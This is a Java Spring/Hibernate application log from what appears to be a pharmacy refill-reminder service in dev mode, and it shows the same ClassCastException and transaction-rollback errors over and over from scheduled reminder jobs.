javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 03:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 03:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 03:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 03:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 03:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 03:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 03:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 03:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 03:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 03:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 04:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 04:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 04:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 04:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 04:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 04:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 04:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 04:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 04:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 04:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 04:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 04:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 04:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 04:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 04:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 04:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 04:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 04:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 04:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 04:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 04:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at 